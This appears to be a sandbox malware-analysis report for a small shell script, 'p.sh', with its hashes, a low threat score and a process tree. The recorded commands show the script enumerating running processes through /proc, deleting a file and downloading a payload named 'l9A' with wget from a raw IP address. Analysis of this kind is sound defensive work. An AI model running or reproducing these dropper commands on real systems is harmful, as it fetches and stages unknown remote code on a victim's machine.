a4c4ca64b4e7a82b8482f6103c38fb4b61d446bff41cf09630b1a681e12e0f3a

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/08/2026, 01:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 831B
Sample260804-bnkhvaaf56
SHA256 a4c4ca64b4e7a82b8482f6103c38fb4b61d446bff41cf09630b1a681e12e0f3a
MD5 db3c979b53a3c037a1943a4a543ef239
SHA1 e71faad2603b47f12c71551542d03b1e72d787bb
SHA512 a12f797c4aeb4fbc6133708c9a39939f96115f5157b31654b43e277f94ab917ddde0f9e58ea537263fbaa8c2a99e8a6282f7d7cbe36217b41d142bd58289733c
TLSH
T151016BC689606A10402ACA5E66975694F411C3CF4A4A0B78BF9C6E3DFBCC804F17AFC8
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/p.sh
/tmp/p.sh
1⤵
PID:1492
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:1493
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:1494
- /bin/ls
  ls -l /proc/1009/exe
  2⤵
  PID:1495
- /bin/ls
  ls -l /proc/1019/exe
  2⤵
  - Reads runtime system information
  PID:1496
- /bin/ls
  ls -l /proc/1023/exe
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/ls
  ls -l /proc/1027/exe
  2⤵
  - Reads runtime system information
  PID:1498
- /bin/ls
  ls -l /proc/1031/exe
  2⤵
  - Reads runtime system information
  PID:1500
- /bin/ls
  ls -l /proc/1035/exe
  2⤵
  PID:1502
- /bin/ls
  ls -l /proc/1039/exe
  2⤵
  PID:1503
- /bin/ls
  ls -l /proc/1044/exe
  2⤵
  PID:1504
- /bin/ls
  ls -l /proc/1048/exe
  2⤵
  PID:1505
- /bin/ls
  ls -l /proc/1050/exe
  2⤵
  PID:1506
- /bin/ls
  ls -l /proc/1053/exe
  2⤵
  PID:1508
- /bin/ls
  ls -l /proc/1056/exe
  2⤵
  PID:1509
- /bin/ls
  ls -l /proc/1058/exe
  2⤵
  PID:1510
- /bin/ls
  ls -l /proc/1066/exe
  2⤵
  - Reads runtime system information
  PID:1512
- /bin/ls
  ls -l /proc/1068/exe
  2⤵
  PID:1513
- /bin/ls
  ls -l /proc/1070/exe
  2⤵
  PID:1514
- /bin/ls
  ls -l /proc/1074/exe
  2⤵
  PID:1515
- /bin/ls
  ls -l /proc/1079/exe
  2⤵
  - Reads runtime system information
  PID:1516
- /bin/ls
  ls -l /proc/1086/exe
  2⤵
  - Reads runtime system information
  PID:1517
- /bin/ls
  ls -l /proc/1090/exe
  2⤵
  PID:1518
- /bin/ls
  ls -l /proc/1091/exe
  2⤵
  - Reads runtime system information
  PID:1519
- /bin/ls
  ls -l /proc/1092/exe
  2⤵
  PID:1520
- /bin/ls
  ls -l /proc/1093/exe
  2⤵
  PID:1521
- /bin/ls
  ls -l /proc/1096/exe
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/ls
  ls -l /proc/1098/exe
  2⤵
  PID:1523
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:1524
- /bin/ls
  ls -l /proc/1140/exe
  2⤵
  PID:1525
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  - Reads runtime system information
  PID:1526
- /bin/ls
  ls -l /proc/1153/exe
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/ls
  ls -l /proc/1154/exe
  2⤵
  PID:1528
- /bin/ls
  ls -l /proc/1161/exe
  2⤵
  - Reads runtime system information
  PID:1532
- /bin/ls
  ls -l /proc/1178/exe
  2⤵
  PID:1533
- /bin/ls
  ls -l /proc/1195/exe
  2⤵
  - Reads runtime system information
  PID:1534
- /bin/ls
  ls -l /proc/1196/exe
  2⤵
  PID:1535
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:1536
- /bin/ls
  ls -l /proc/1214/exe
  2⤵
  - Reads runtime system information
  PID:1537
- /bin/ls
  ls -l /proc/1259/exe
  2⤵
  PID:1538
- /bin/ls
  ls -l /proc/1266/exe
  2⤵
  PID:1539
- /bin/ls
  ls -l /proc/1299/exe
  2⤵
  - Reads runtime system information
  PID:1540
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:1541
- /bin/ls
  ls -l /proc/1308/exe
  2⤵
  PID:1542
- /bin/ls
  ls -l /proc/1314/exe
  2⤵
  - Reads runtime system information
  PID:1543
- /bin/ls
  ls -l /proc/1343/exe
  2⤵
  PID:1544
- /bin/ls
  ls -l /proc/1351/exe
  2⤵
  PID:1545
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:1546
- /bin/ls
  ls -l /proc/1383/exe
  2⤵
  - Reads runtime system information
  PID:1547
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:1548
- /bin/ls
  ls -l /proc/1458/exe
  2⤵
  PID:1549
- /bin/ls
  ls -l /proc/1478/exe
  2⤵
  PID:1550
- /bin/ls
  ls -l /proc/1484/exe
  2⤵
  PID:1551
- /bin/ls
  ls -l /proc/1488/exe
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/ls
  ls -l /proc/1489/exe
  2⤵
  - Reads runtime system information
  PID:1553
- /bin/ls
  ls -l /proc/1490/exe
  2⤵
  PID:1554
- /bin/ls
  ls -l /proc/1492/exe
  2⤵
  PID:1555
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:1556
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:1557
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:1558
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/161/exe
  2⤵
  PID:1560
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  PID:1561
- /bin/ls
  ls -l /proc/163/exe
  2⤵
  - Reads runtime system information
  PID:1562
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  - Reads runtime system information
  PID:1563
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:1564
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:1565
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  PID:1566
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  PID:1567
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:1568
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:1569
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:1570
- /bin/ls
  ls -l /proc/171/exe
  2⤵
  PID:1571
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  PID:1572
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  - Reads runtime system information
  PID:1573
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  - Reads runtime system information
  PID:1574
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  PID:1575
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  PID:1576
- /bin/ls
  ls -l /proc/178/exe
  2⤵
  PID:1577
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1578
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:1579
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:1580
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:1581
- /bin/ls
  ls -l /proc/203/exe
  2⤵
  - Reads runtime system information
  PID:1582
- /bin/ls
  ls -l /proc/204/exe
  2⤵
  - Reads runtime system information
  PID:1583
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:1584
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:1585
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:1586
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:1587
- /bin/ls
  ls -l /proc/249/exe
  2⤵
  PID:1588
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:1589
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:1590
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:1591
- /bin/ls
  ls -l /proc/270/exe
  2⤵
  PID:1592
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:1593
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:1594
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1595
- /bin/ls
  ls -l /proc/30/exe
  2⤵
  PID:1596
- /bin/ls
  ls -l /proc/31/exe
  2⤵
  PID:1597
- /bin/ls
  ls -l /proc/32/exe
  2⤵
  PID:1598
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  PID:1599
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  PID:1600
- /bin/ls
  ls -l /proc/34/exe
  2⤵
  PID:1601
- /bin/ls
  ls -l /proc/35/exe
  2⤵
  - Reads runtime system information
  PID:1602
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:1603
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1604
- /bin/ls
  ls -l /proc/414/exe
  2⤵
  PID:1605
- /bin/ls
  ls -l /proc/415/exe
  2⤵
  PID:1606
- /bin/ls
  ls -l /proc/435/exe
  2⤵
  - Reads runtime system information
  PID:1607
- /bin/ls
  ls -l /proc/436/exe
  2⤵
  - Reads runtime system information
  PID:1608
- /bin/ls
  ls -l /proc/439/exe
  2⤵
  PID:1609
- /bin/ls
  ls -l /proc/440/exe
  2⤵
  PID:1610
- /bin/ls
  ls -l /proc/451/exe
  2⤵
  PID:1611
- /bin/ls
  ls -l /proc/453/exe
  2⤵
  PID:1612
- /bin/ls
  ls -l /proc/460/exe
  2⤵
  PID:1613
- /bin/ls
  ls -l /proc/461/exe
  2⤵
  PID:1614
- /bin/ls
  ls -l /proc/468/exe
  2⤵
  - Reads runtime system information
  PID:1615
- /bin/ls
  ls -l /proc/469/exe
  2⤵
  - Reads runtime system information
  PID:1616
- /bin/ls
  ls -l /proc/471/exe
  2⤵
  PID:1617
- /bin/ls
  ls -l /proc/484/exe
  2⤵
  - Reads runtime system information
  PID:1618
- /bin/ls
  ls -l /proc/490/exe
  2⤵
  - Reads runtime system information
  PID:1619
- /bin/ls
  ls -l /proc/496/exe
  2⤵
  - Reads runtime system information
  PID:1620
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:1621
- /bin/ls
  ls -l /proc/502/exe
  2⤵
  - Reads runtime system information
  PID:1622
- /bin/ls
  ls -l /proc/522/exe
  2⤵
  PID:1623
- /bin/ls
  ls -l /proc/524/exe
  2⤵
  - Reads runtime system information
  PID:1624
- /bin/ls
  ls -l /proc/543/exe
  2⤵
  PID:1625
- /bin/ls
  ls -l /proc/548/exe
  2⤵
  - Reads runtime system information
  PID:1626
- /bin/ls
  ls -l /proc/561/exe
  2⤵
  PID:1627
- /bin/ls
  ls -l /proc/573/exe
  2⤵
  PID:1628
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:1629
- /bin/ls
  ls -l /proc/601/exe
  2⤵
  - Reads runtime system information
  PID:1630
- /bin/ls
  ls -l /proc/602/exe
  2⤵
  - Reads runtime system information
  PID:1631
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:1632
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:1633
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:1634
- /bin/ls
  ls -l /proc/661/exe
  2⤵
  PID:1635
- /bin/ls
  ls -l /proc/662/exe
  2⤵
  - Reads runtime system information
  PID:1636
- /bin/ls
  ls -l /proc/667/exe
  2⤵
  - Reads runtime system information
  PID:1637
- /bin/ls
  ls -l /proc/687/exe
  2⤵
  PID:1638
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:1639
- /bin/ls
  ls -l /proc/707/exe
  2⤵
  - Reads runtime system information
  PID:1640
- /bin/ls
  ls -l /proc/723/exe
  2⤵
  - Reads runtime system information
  PID:1641
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:1642
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  - Reads runtime system information
  PID:1643
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:1644
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  - Reads runtime system information
  PID:1645
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:1646
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  - Reads runtime system information
  PID:1647
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  - Reads runtime system information
  PID:1648
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  PID:1649
- /bin/ls
  ls -l /proc/86/exe
  2⤵
  PID:1650
- /bin/ls
  ls -l /proc/872/exe
  2⤵
  PID:1651
- /bin/ls
  ls -l /proc/89/exe
  2⤵
  PID:1652
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1653
- /bin/ls
  ls -l /proc/901/exe
  2⤵
  PID:1654
- /bin/ls
  ls -l /proc/906/exe
  2⤵
  PID:1655
- /bin/ls
  ls -l /proc/909/exe
  2⤵
  - Reads runtime system information
  PID:1656
- /bin/ls
  ls -l /proc/923/exe
  2⤵
  PID:1657
- /bin/ls
  ls -l /proc/928/exe
  2⤵
  PID:1658
- /bin/ls
  ls -l /proc/942/exe
  2⤵
  - Reads runtime system information
  PID:1659
- /bin/ls
  ls -l /proc/948/exe
  2⤵
  PID:1660
- /bin/ls
  ls -l /proc/962/exe
  2⤵
  - Reads runtime system information
  PID:1661
- /bin/ls
  ls -l /proc/966/exe
  2⤵
  PID:1662
- /bin/ls
  ls -l /proc/968/exe
  2⤵
  PID:1663
- /bin/ls
  ls -l /proc/971/exe
  2⤵
  PID:1664
- /bin/ls
  ls -l /proc/976/exe
  2⤵
  PID:1665
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:1666
- /bin/ls
  ls -l /proc/986/exe
  2⤵
  PID:1667
- /bin/ls
  ls -l /proc/990/exe
  2⤵
  - Reads runtime system information
  PID:1668
- /bin/ls
  ls -l /proc/999/exe
  2⤵
  PID:1669
- /bin/rm
  rm -rf l9A
  2⤵
  PID:1670
- /usr/bin/wget
  wget http://129.121.114.124/l9A
  2⤵
  PID:1671

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads